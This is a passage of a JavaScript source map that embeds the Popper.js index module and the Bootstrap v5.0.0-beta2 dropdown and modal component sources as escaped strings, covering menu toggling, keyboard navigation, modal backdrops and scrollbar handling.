};","import { popperGenerator, detectOverflow } from \"./createPopper.js\";\nimport eventListeners from \"./modifiers/eventListeners.js\";\nimport popperOffsets from \"./modifiers/popperOffsets.js\";\nimport computeStyles from \"./modifiers/computeStyles.js\";\nimport applyStyles from \"./modifiers/applyStyles.js\";\nimport offset from \"./modifiers/offset.js\";\nimport flip from \"./modifiers/flip.js\";\nimport preventOverflow from \"./modifiers/preventOverflow.js\";\nimport arrow from \"./modifiers/arrow.js\";\nimport hide from \"./modifiers/hide.js\";\nvar defaultModifiers = [eventListeners, popperOffsets, computeStyles, applyStyles, offset, flip, preventOverflow, arrow, hide];\nvar createPopper = /*#__PURE__*/popperGenerator({\n defaultModifiers: defaultModifiers\n}); // eslint-disable-next-line import/no-unused-modules\n\nexport { createPopper, popperGenerator, defaultModifiers, detectOverflow }; // eslint-disable-next-line import/no-unused-modules\n\nexport { createPopper as createPopperLite } from \"./popper-lite.js\"; // eslint-disable-next-line import/no-unused-modules\n\nexport * from \"./modifiers/index.js\";","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport * as Popper from '@popperjs/core'\n\nimport {\n defineJQueryPlugin,\n getElementFromSelector,\n isElement,\n isVisible,\n isRTL,\n noop,\n typeCheckConfig\n} from './util/index'\nimport Data from './dom/data'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'dropdown'\nconst DATA_KEY = 'bs.dropdown'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst ESCAPE_KEY = 'Escape'\nconst SPACE_KEY = 'Space'\nconst TAB_KEY = 'Tab'\nconst ARROW_UP_KEY = 'ArrowUp'\nconst ARROW_DOWN_KEY = 'ArrowDown'\nconst RIGHT_MOUSE_BUTTON = 2 // MouseEvent.button value for the secondary button, usually the right button\n\nconst REGEXP_KEYDOWN = new RegExp(`${ARROW_UP_KEY}|${ARROW_DOWN_KEY}|${ESCAPE_KEY}`)\n\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_CLICK = `click${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_KEYDOWN_DATA_API = `keydown${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_KEYUP_DATA_API = `keyup${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_DISABLED = 'disabled'\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_DROPUP = 'dropup'\nconst CLASS_NAME_DROPEND = 'dropend'\nconst CLASS_NAME_DROPSTART = 'dropstart'\nconst CLASS_NAME_NAVBAR = 'navbar'\n\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"dropdown\"]'\nconst SELECTOR_FORM_CHILD = '.dropdown form'\nconst SELECTOR_MENU = '.dropdown-menu'\nconst SELECTOR_NAVBAR_NAV = '.navbar-nav'\nconst SELECTOR_VISIBLE_ITEMS = '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n\nconst PLACEMENT_TOP = isRTL ? 'top-end' : 'top-start'\nconst PLACEMENT_TOPEND = isRTL ? 'top-start' : 'top-end'\nconst PLACEMENT_BOTTOM = isRTL ? 'bottom-end' : 'bottom-start'\nconst PLACEMENT_BOTTOMEND = isRTL ? 'bottom-start' : 'bottom-end'\nconst PLACEMENT_RIGHT = isRTL ? 'left-start' : 'right-start'\nconst PLACEMENT_LEFT = isRTL ? 'right-start' : 'left-start'\n\nconst Default = {\n offset: [0, 2],\n flip: true,\n boundary: 'clippingParents',\n reference: 'toggle',\n display: 'dynamic',\n popperConfig: null\n}\n\nconst DefaultType = {\n offset: '(array|string|function)',\n flip: 'boolean',\n boundary: '(string|element)',\n reference: '(string|element|object)',\n display: 'string',\n popperConfig: '(null|object|function)'\n}\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Dropdown extends BaseComponent {\n constructor(element, config) {\n super(element)\n\n this._popper = null\n this._config = this._getConfig(config)\n this._menu = this._getMenuElement()\n this._inNavbar = this._detectNavbar()\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n // Public\n\n toggle() {\n if (this._element.disabled || this._element.classList.contains(CLASS_NAME_DISABLED)) {\n return\n }\n\n const isActive = this._element.classList.contains(CLASS_NAME_SHOW)\n\n Dropdown.clearMenus()\n\n if (isActive) {\n return\n }\n\n this.show()\n }\n\n show() {\n if (this._element.disabled || this._element.classList.contains(CLASS_NAME_DISABLED) || this._menu.classList.contains(CLASS_NAME_SHOW)) {\n return\n }\n\n const parent = Dropdown.getParentFromElement(this._element)\n const relatedTarget = {\n relatedTarget: this._element\n }\n\n const showEvent = EventHandler.trigger(this._element, EVENT_SHOW, relatedTarget)\n\n if (showEvent.defaultPrevented) {\n return\n }\n\n // Totally disable Popper for Dropdowns in Navbar\n if (this._inNavbar) {\n Manipulator.setDataAttribute(this._menu, 'popper', 'none')\n } else {\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap\\'s dropdowns require Popper (https://popper.js.org)')\n }\n\n let referenceElement = this._element\n\n if (this._config.reference === 'parent') {\n referenceElement = parent\n } else if (isElement(this._config.reference)) {\n referenceElement = this._config.reference\n\n // Check if it's jQuery element\n if (typeof this._config.reference.jquery !== 'undefined') {\n referenceElement = this._config.reference[0]\n }\n } else if (typeof this._config.reference === 'object') {\n referenceElement = this._config.reference\n }\n\n const popperConfig = this._getPopperConfig()\n const isDisplayStatic = popperConfig.modifiers.find(modifier => modifier.name === 'applyStyles' && modifier.enabled === false)\n\n this._popper = Popper.createPopper(referenceElement, this._menu, popperConfig)\n\n if (isDisplayStatic) {\n Manipulator.setDataAttribute(this._menu, 'popper', 'static')\n }\n }\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement &&\n !parent.closest(SELECTOR_NAVBAR_NAV)) {\n [].concat(...document.body.children)\n .forEach(elem => EventHandler.on(elem, 'mouseover', null, noop()))\n }\n\n this._element.focus()\n this._element.setAttribute('aria-expanded', true)\n\n this._menu.classList.toggle(CLASS_NAME_SHOW)\n this._element.classList.toggle(CLASS_NAME_SHOW)\n EventHandler.trigger(this._element, EVENT_SHOWN, relatedTarget)\n }\n\n hide() {\n if (this._element.disabled || this._element.classList.contains(CLASS_NAME_DISABLED) || !this._menu.classList.contains(CLASS_NAME_SHOW)) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n\n const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE, relatedTarget)\n\n if (hideEvent.defaultPrevented) {\n return\n }\n\n if (this._popper) {\n this._popper.destroy()\n }\n\n this._menu.classList.toggle(CLASS_NAME_SHOW)\n this._element.classList.toggle(CLASS_NAME_SHOW)\n Manipulator.removeDataAttribute(this._menu, 'popper')\n EventHandler.trigger(this._element, EVENT_HIDDEN, relatedTarget)\n }\n\n dispose() {\n super.dispose()\n EventHandler.off(this._element, EVENT_KEY)\n this._menu = null\n\n if (this._popper) {\n this._popper.destroy()\n this._popper = null\n }\n }\n\n update() {\n this._inNavbar = this._detectNavbar()\n if (this._popper) {\n this._popper.update()\n }\n }\n\n // Private\n\n _addEventListeners() {\n EventHandler.on(this._element, EVENT_CLICK, event => {\n event.preventDefault()\n event.stopPropagation()\n this.toggle()\n })\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...Manipulator.getDataAttributes(this._element),\n ...config\n }\n\n typeCheckConfig(NAME, config, this.constructor.DefaultType)\n\n if (typeof config.reference === 'object' && !isElement(config.reference) &&\n typeof config.reference.getBoundingClientRect !== 'function'\n ) {\n // Popper virtual elements require a getBoundingClientRect method\n throw new TypeError(`${NAME.toUpperCase()}: Option \"reference\" provided type \"object\" without a required \"getBoundingClientRect\" method.`)\n }\n\n return config\n }\n\n _getMenuElement() {\n return SelectorEngine.next(this._element, SELECTOR_MENU)[0]\n }\n\n _getPlacement() {\n const parentDropdown = this._element.parentNode\n\n if (parentDropdown.classList.contains(CLASS_NAME_DROPEND)) {\n return PLACEMENT_RIGHT\n }\n\n if (parentDropdown.classList.contains(CLASS_NAME_DROPSTART)) {\n return PLACEMENT_LEFT\n }\n\n // We need to trim the value because custom properties can also include spaces\n const isEnd = getComputedStyle(this._menu).getPropertyValue('--bs-position').trim() === 'end'\n\n if (parentDropdown.classList.contains(CLASS_NAME_DROPUP)) {\n return isEnd ? PLACEMENT_TOPEND : PLACEMENT_TOP\n }\n\n return isEnd ? PLACEMENT_BOTTOMEND : PLACEMENT_BOTTOM\n }\n\n _detectNavbar() {\n return this._element.closest(`.${CLASS_NAME_NAVBAR}`) !== null\n }\n\n _getOffset() {\n const { offset } = this._config\n\n if (typeof offset === 'string') {\n return offset.split(',').map(val => Number.parseInt(val, 10))\n }\n\n if (typeof offset === 'function') {\n return popperData => offset(popperData, this._element)\n }\n\n return offset\n }\n\n _getPopperConfig() {\n const defaultBsPopperConfig = {\n placement: this._getPlacement(),\n modifiers: [{\n name: 'preventOverflow',\n options: {\n altBoundary: this._config.flip,\n boundary: this._config.boundary\n }\n },\n {\n name: 'offset',\n options: {\n offset: this._getOffset()\n }\n }]\n }\n\n // Disable Popper if we have a static display\n if (this._config.display === 'static') {\n defaultBsPopperConfig.modifiers = [{\n name: 'applyStyles',\n enabled: false\n }]\n }\n\n return {\n ...defaultBsPopperConfig,\n ...(typeof this._config.popperConfig === 'function' ? this._config.popperConfig(defaultBsPopperConfig) : this._config.popperConfig)\n }\n }\n\n // Static\n\n static dropdownInterface(element, config) {\n let data = Data.getData(element, DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data) {\n data = new Dropdown(element, _config)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n }\n }\n\n static jQueryInterface(config) {\n return this.each(function () {\n Dropdown.dropdownInterface(this, config)\n })\n }\n\n static clearMenus(event) {\n if (event && (event.button === RIGHT_MOUSE_BUTTON || (event.type === 'keyup' && event.key !== TAB_KEY))) {\n return\n }\n\n const toggles = SelectorEngine.find(SELECTOR_DATA_TOGGLE)\n\n for (let i = 0, len = toggles.length; i < len; i++) {\n const context = Data.getData(toggles[i], DATA_KEY)\n const relatedTarget = {\n relatedTarget: toggles[i]\n }\n\n if (event && event.type === 'click') {\n relatedTarget.clickEvent = event\n }\n\n if (!context) {\n continue\n }\n\n const dropdownMenu = context._menu\n if (!toggles[i].classList.contains(CLASS_NAME_SHOW)) {\n continue\n }\n\n if (event && ((event.type === 'click' &&\n /input|textarea/i.test(event.target.tagName)) ||\n (event.type === 'keyup' && event.key === TAB_KEY)) &&\n dropdownMenu.contains(event.target)) {\n continue\n }\n\n const hideEvent = EventHandler.trigger(toggles[i], EVENT_HIDE, relatedTarget)\n if (hideEvent.defaultPrevented) {\n continue\n }\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n [].concat(...document.body.children)\n .forEach(elem => EventHandler.off(elem, 'mouseover', null, noop()))\n }\n\n toggles[i].setAttribute('aria-expanded', 'false')\n\n if (context._popper) {\n context._popper.destroy()\n }\n\n dropdownMenu.classList.remove(CLASS_NAME_SHOW)\n toggles[i].classList.remove(CLASS_NAME_SHOW)\n Manipulator.removeDataAttribute(dropdownMenu, 'popper')\n EventHandler.trigger(toggles[i], EVENT_HIDDEN, relatedTarget)\n }\n }\n\n static getParentFromElement(element) {\n return getElementFromSelector(element) || element.parentNode\n }\n\n static dataApiKeydownHandler(event) {\n // If not input/textarea:\n // - And not a key in REGEXP_KEYDOWN => not a dropdown command\n // If input/textarea:\n // - If space key => not a dropdown command\n // - If key is other than escape\n // - If key is not up or down => not a dropdown command\n // - If trigger inside the menu => not a dropdown command\n if (/input|textarea/i.test(event.target.tagName) ?\n event.key === SPACE_KEY || (event.key !== ESCAPE_KEY &&\n ((event.key !== ARROW_DOWN_KEY && event.key !== ARROW_UP_KEY) ||\n event.target.closest(SELECTOR_MENU))) :\n !REGEXP_KEYDOWN.test(event.key)) {\n return\n }\n\n event.preventDefault()\n event.stopPropagation()\n\n if (this.disabled || this.classList.contains(CLASS_NAME_DISABLED)) {\n return\n }\n\n const parent = Dropdown.getParentFromElement(this)\n const isActive = this.classList.contains(CLASS_NAME_SHOW)\n\n if (event.key === ESCAPE_KEY) {\n const button = this.matches(SELECTOR_DATA_TOGGLE) ? this : SelectorEngine.prev(this, SELECTOR_DATA_TOGGLE)[0]\n button.focus()\n Dropdown.clearMenus()\n return\n }\n\n if (!isActive && (event.key === ARROW_UP_KEY || event.key === ARROW_DOWN_KEY)) {\n const button = this.matches(SELECTOR_DATA_TOGGLE) ? this : SelectorEngine.prev(this, SELECTOR_DATA_TOGGLE)[0]\n button.click()\n return\n }\n\n if (!isActive || event.key === SPACE_KEY) {\n Dropdown.clearMenus()\n return\n }\n\n const items = SelectorEngine.find(SELECTOR_VISIBLE_ITEMS, parent).filter(isVisible)\n\n if (!items.length) {\n return\n }\n\n let index = items.indexOf(event.target)\n\n // Up\n if (event.key === ARROW_UP_KEY && index > 0) {\n index--\n }\n\n // Down\n if (event.key === ARROW_DOWN_KEY && index < items.length - 1) {\n index++\n }\n\n // index is -1 if the first keydown is an ArrowUp\n index = index === -1 ? 0 : index\n\n items[index].focus()\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\nEventHandler.on(document, EVENT_KEYDOWN_DATA_API, SELECTOR_DATA_TOGGLE, Dropdown.dataApiKeydownHandler)\nEventHandler.on(document, EVENT_KEYDOWN_DATA_API, SELECTOR_MENU, Dropdown.dataApiKeydownHandler)\nEventHandler.on(document, EVENT_CLICK_DATA_API, Dropdown.clearMenus)\nEventHandler.on(document, EVENT_KEYUP_DATA_API, Dropdown.clearMenus)\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n event.preventDefault()\n event.stopPropagation()\n Dropdown.dropdownInterface(this, 'toggle')\n})\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_FORM_CHILD, e => e.stopPropagation())\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n * add .Dropdown to jQuery only if jQuery is present\n */\n\ndefineJQueryPlugin(NAME, Dropdown)\n\nexport default Dropdown\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n defineJQueryPlugin,\n emulateTransitionEnd,\n getElementFromSelector,\n getTransitionDurationFromElement,\n isVisible,\n isRTL,\n reflow,\n typeCheckConfig\n} from './util/index'\nimport Data from './dom/data'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'modal'\nconst DATA_KEY = 'bs.modal'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst ESCAPE_KEY = 'Escape'\n\nconst Default = {\n backdrop: true,\n keyboard: true,\n focus: true\n}\n\nconst DefaultType = {\n backdrop: '(boolean|string)',\n keyboard: 'boolean',\n focus: 'boolean'\n}\n\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDE_PREVENTED = `hidePrevented${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_FOCUSIN = `focusin${EVENT_KEY}`\nconst EVENT_RESIZE = `resize${EVENT_KEY}`\nconst EVENT_CLICK_DISMISS = `click.dismiss${EVENT_KEY}`\nconst EVENT_KEYDOWN_DISMISS = `keydown.dismiss${EVENT_KEY}`\nconst EVENT_MOUSEUP_DISMISS = `mouseup.dismiss${EVENT_KEY}`\nconst EVENT_MOUSEDOWN_DISMISS = `mousedown.dismiss${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_SCROLLBAR_MEASURER = 'modal-scrollbar-measure'\nconst CLASS_NAME_BACKDROP = 'modal-backdrop'\nconst CLASS_NAME_OPEN = 'modal-open'\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_STATIC = 'modal-static'\n\nconst SELECTOR_DIALOG = '.modal-dialog'\nconst SELECTOR_MODAL_BODY = '.modal-body'\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"modal\"]'\nconst SELECTOR_DATA_DISMISS = '[data-bs-dismiss=\"modal\"]'\nconst SELECTOR_FIXED_CONTENT = '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top'\nconst SELECTOR_STICKY_CONTENT = '.sticky-top'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Modal extends BaseComponent {\n constructor(element, config) {\n super(element)\n\n this._config = this._getConfig(config)\n this._dialog = SelectorEngine.findOne(SELECTOR_DIALOG, element)\n this._backdrop = null\n this._isShown = false\n this._isBodyOverflowing = false\n this._ignoreBackdropClick = false\n this._isTransitioning = false\n this._scrollbarWidth = 0\n }\n\n // Getters\n\n static get Default() {\n return Default\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n // Public\n\n toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget)\n }\n\n show(relatedTarget) {\n if (this._isShown || this._isTransitioning) {\n return\n }\n\n if (this._element.classList.contains(CLASS_NAME_FADE)) {\n this._isTransitioning = true\n }\n\n const showEvent = EventHandler.trigger(this._element, EVENT_SHOW, {\n relatedTarget\n })\n\n if (this._isShown || showEvent.defaultPrevented) {\n return\n }\n\n this._isShown = true\n\n this._checkScrollbar()\n this._setScrollbar()\n\n this._adjustDialog()\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n EventHandler.on(this._element, EVENT_CLICK_DISMISS, SELECTOR_DATA_DISMISS, event => this.hide(event))\n\n EventHandler.on(this._dialog, EVENT_MOUSEDOWN_DISMISS, () => {\n EventHandler.one(this._element, EVENT_MOUSEUP_DISMISS, event => {\n if (event.target === this._element) {\n this._ignoreBackdropClick = true\n }\n })\n })\n\n this._showBackdrop(() => this._showElement(relatedTarget))\n }\n\n hide(event) {\n if (event) {\n event.preventDefault()\n }\n\n if (!this._isShown || this._isTransitioning) {\n return\n }\n\n const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE)\n\n if (hideEvent.defaultPrevented) {\n return\n }\n\n this._isShown = false\n const transition = this._element.classList.contains(CLASS_NAME_FADE)\n\n if (transition) {\n this._isTransitioning = true\n }\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n EventHandler.off(document, EVENT_FOCUSIN)\n\n this._element.classList.remove(CLASS_NAME_SHOW)\n\n EventHandler.off(this._element, EVENT_CLICK_DISMISS)\n EventHandler.off(this._dialog, EVENT_MOUSEDOWN_DISMISS)\n\n if (transition) {\n const transitionDuration = getTransitionDurationFromElement(this._element)\n\n EventHandler.one(this._element, 'transitionend', event => this._hideModal(event))\n emulateTransitionEnd(this._element, transitionDuration)\n } else {\n this._hideModal()\n }\n }\n\n dispose() {\n [window, this._element, this._dialog]\n .forEach(htmlElement => EventHandler.off(htmlElement, EVENT_KEY))\n\n super.dispose()\n\n /**\n * `document` has 2 events `EVENT_FOCUSIN` and `EVENT_CLICK_DATA_API`\n * Do not move `document` in `htmlElements` array\n * It will remove `EVENT_CLICK_DATA_API` event that should remain\n */\n EventHandler.off(document, EVENT_FOCUSIN)\n\n this._config = null\n this._dialog = null\n this._backdrop = null\n this._isShown = null\n this._isBodyOverflowing = null\n this._ignoreBackdropClick = null\n this._isTransitioning = null\n this._scrollbarWidth = null\n }\n\n handleUpdate() {\n this._adjustDialog()\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _showElement(relatedTarget) {\n const transition = this._element.classList.contains(CLASS_NAME_FADE)\n const modalBody = SelectorEngine.findOne(SELECTOR_MODAL_BODY, this._dialog)\n\n if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n // Don't move modal's DOM position\n document.body.appendChild(this._element)\n }\n\n this._element.style.display = 'block'\n this._element.removeAttribute('aria-hidden')\n this._element.setAttribute('aria-modal', true)\n this._element.setAttribute('role', 'dialog')\n this._element.scrollTop = 0\n\n if (modalBody) {\n modalBody.scrollTop = 0\n }\n\n if (transition) {\n reflow(this._element)\n }\n\n this._element.classList.add(CLASS_NAME_SHOW)\n\n if (this._config.focus) {\n this._enforceFocus()\n }\n\n const transitionComplete = () => {\n if (this._config.focus) {\n this._element.focus()\n }\n\n this._isTransitioning = false\n EventHandler.trigger(this._element, EVENT_SHOWN, {\n relatedTarget\n })\n }\n\n if (transition) {\n const transitionDuration = getTransitionDurationFromElement(this._dialog)\n\n EventHandler.one(this._dialog, 'transitionend', transitionComplete)\n emulateTransitionEnd(this._dialog, transitionDuration)\n } else {\n transitionComplete()\n }\n }\n\n _enforceFocus() {\n EventHandler.off(document, EVENT_FOCUSIN) // guard against infinite focus loop\n EventHandler.on(document, EVENT_FOCUSIN, event => {\n if (document !== event.target &&\n this._element !== event.target &&\n !this._element.contains(event.target)) {\n this._element.focus()\n }\n })\n }\n\n _setEscapeEvent() {\n if (this._isShown) {\n EventHandler.on(this._element, EVENT_KEYDOWN_DISMISS, event => {\n if (this._config.keyboard && event.key === ESCAPE_KEY) {\n event.preventDefault()\n this.hide()\n } else if (!this._config.keyboard && event.key === ESCAPE_KEY) {\n this._triggerBackdropTransition()\n }\n })\n } else {\n EventHandler.off(this._element, EVENT_KEYDOWN_DISMISS)\n }\n }\n\n _setResizeEvent() {\n if (this._isShown) {\n EventHandler.on(window, EVENT_RESIZE, () => this._adjustDialog())\n } else {\n EventHandler.off(window, EVENT_RESIZE)\n }\n }\n\n _hideModal() {\n this._element.style.display = 'none'\n this._element.setAttribute('aria-hidden', true)\n this._element.removeAttribute('aria-modal')\n this._element.removeAttribute('role')\n this._isTransitioning = false\n this._showBackdrop(() => {\n document.body.classList.remove(CLASS_NAME_OPEN)\n this._resetAdjustments()\n this._resetScrollbar()\n EventHandler.trigger(this._element, EVENT_HIDDEN)\n })\n }\n\n _removeBackdrop() {\n this._backdrop.parentNode.removeChild(this._backdrop)\n this._backdrop = null\n }\n\n _showBackdrop(callback) {\n const animate = this._element.classList.contains(CLASS_NAME_FADE) ?\n CLASS_NAME_FADE :\n ''\n\n if (this._isShown && this._config.backdrop) {\n this._backdrop = document.createElement('div')\n this._backdrop.className = CLASS_NAME_BACKDROP\n\n if (animate) {\n this._backdrop.classList.add(animate)\n }\n\n document.body.appendChild(this._backdrop)\n\n EventHandler.on(this._element, EVENT_CLICK_DISMISS, event => {\n if (this._ignoreBackdropClick) {\n this._ignoreBackdropClick = false\n return\n }\n\n if (event.target !== event.currentTarget) {\n return\n }\n\n if (this._config.backdrop === 'static') {\n this._triggerBackdropTransition()\n } else {\n this.hide()\n }\n })\n\n if (animate) {\n reflow(this._backdrop)\n }\n\n this._backdrop.classList.add(CLASS_NAME_SHOW)\n\n if (!animate) {\n callback()\n return\n }\n\n const backdropTransitionDuration = getTransitionDurationFromElement(this._backdrop)\n\n EventHandler.one(this._backdrop, 'transitionend', callback)\n emulateTransitionEnd(this._backdrop, backdropTransitionDuration)\n } else if (!this._isShown && this._backdrop) {\n this._backdrop.classList.remove(CLASS_NAME_SHOW)\n\n const callbackRemove = () => {\n this._removeBackdrop()\n callback()\n }\n\n if (this._element.classList.contains(CLASS_NAME_FADE)) {\n const backdropTransitionDuration = getTransitionDurationFromElement(this._backdrop)\n EventHandler.one(this._backdrop, 'transitionend', callbackRemove)\n emulateTransitionEnd(this._backdrop, backdropTransitionDuration)\n } else {\n callbackRemove()\n }\n } else {\n callback()\n }\n }\n\n _triggerBackdropTransition() {\n const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE_PREVENTED)\n if (hideEvent.defaultPrevented) {\n return\n }\n\n const isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight\n\n if (!isModalOverflowing) {\n this._element.style.overflowY = 'hidden'\n }\n\n this._element.classList.add(CLASS_NAME_STATIC)\n const modalTransitionDuration = getTransitionDurationFromElement(this._dialog)\n EventHandler.off(this._element, 'transitionend')\n EventHandler.one(this._element, 'transitionend', () => {\n this._element.classList.remove(CLASS_NAME_STATIC)\n if (!isModalOverflowing) {\n EventHandler.one(this._element, 'transitionend', () => {\n this._element.style.overflowY = ''\n })\n emulateTransitionEnd(this._element, modalTransitionDuration)\n }\n })\n emulateTransitionEnd(this._element, modalTransitionDuration)\n this._element.focus()\n }\n\n // ----------------------------------------------------------------------\n // the following methods are used to handle overflowing modals\n // ----------------------------------------------------------------------\n\n _adjustDialog() {\n const isModalOverflowing =\n this._element.scrollHeight > document.documentElement.clientHeight\n\n if ((!this._isBodyOverflowing && isModalOverflowing && !isRTL) || (this._isBodyOverflowing && !isModalOverflowing && isRTL)) {\n this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n }\n\n if ((this._isBodyOverflowing && !isModalOverflowing && !isRTL) || (!this._isBodyOverflowing && isModalOverflowing && isRTL)) {\n this._element.style.paddingRight = `${this._scrollbarWidth}px`\n }\n }\n\n _resetAdjustments() {\n this._element.style.paddingLeft = ''\n this._element.style.paddingRight = ''\n }\n\n _checkScrollbar() {\n const rect = document.body.getBoundingClientRect()\n this._isBodyOverflowing = Math.round(rect.left + rect.right) < window.innerWidth\n this._scrollbarWidth = this._getScrollbarWidth()\n }\n\n _setScrollbar() {\n if (this._isBodyOverflowing) {\n this._setElementAttributes(SELECTOR_FIXED_CONTENT, 'paddingRight', calculatedValue => calculatedValue + this._scrollbarWidth)\n this._setElementAttributes(SELECTOR_STICKY_CONTENT, 'marginRight', calculatedValue => calculatedValue - this._scrollbarWidth)\n this._setElementAttributes('body', 'paddingRight', calculatedValue => calculatedValue + this._scrollbarWidth)\n }\n\n document.body.classList.add(CLASS_NAME_OPEN)\n }\n\n _setElementAttributes(selector, styleProp, callback) {\n SelectorEngine.find(selector)\n .forEach(element => {\n const actualValue = element.style[styleProp]\n const calculatedValue = window.getComputedStyle(element)[styleProp]\n Manipulator.setDataAttribute(element, styleProp, actualValue)\n element.style[styleProp] = callback(Number.parseFloat(calculatedValue)) + 'px'\n })\n }\n\n _resetScrollbar() {\n this._resetElementAttributes(SELECTOR_FIXED_CONTENT, 'paddingRight')\n this._resetElementAttributes(SELECTOR_STICKY_CONTENT, 'marginRight')\n this._resetElementAttributes('body', 'paddingRight')\n }\n\n _resetElementAttributes(selector, styleProp) {\n SelectorEngine.find(selector).forEach(element => {\n const value = Manipulator.getDataAttribute(element, styleProp)\n if (typeof value === 'undefined' && element === document.body) {\n element.style[styleProp] = ''\n } else {\n Manipulator.removeDataAttribute(element, styleProp)\n element.style[styleProp] = value\n }\n })\n }\n\n _getScrollbarWidth() { // thx d.walsh\n const scrollDiv = document.createElement('div')\n scrollDiv.className = CLASS_NAME_SCROLLBAR_MEASURER\n document.body.appendChild(scrollDiv)\n const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n document.body.removeChild(scrollDiv)\n return scrollbarWidth\n }\n\n // Static\n\n static jQueryInterface(config, relatedTarget) {\n return this.each(function () {\n let data = Data.getData(this, DATA_KEY)\n const _config = {\n ...Default,\n ...Manipulator.getDataAttributes(this),\n ...(typeof config === 'object' && config ? config : {})\n }\n\n if (!data) {\n data = new Modal(this, _config)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config](relatedTarget)\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n const target = getElementFromSelector(this)\n\n if (this.tagName === 'A' || this.tagName === 'AREA') {\n event.preventDefault()\n }\n\n EventHandler.one(target, EVENT_SHOW, showEvent => {\n if (showEvent.defaultPrevented) {\n // only register focus restorer if modal will actually get shown\n return\n }\n\n EventHandler.one(target, EVENT_HIDDEN, () => {\n if (isVisible(this)) {\n this.focus()\n }\n })\n })\n\n let data = Data.getData(target, DATA_KEY)\n if (!data) {\n const config = {\n ...Manipulator.getDataAttributes(target),\n ...Manipulator.getDataAttributes(this)\n }\n\n data = new Modal(target, config)\n }\n\n data.toggle(this)\n})\n\n/**\n 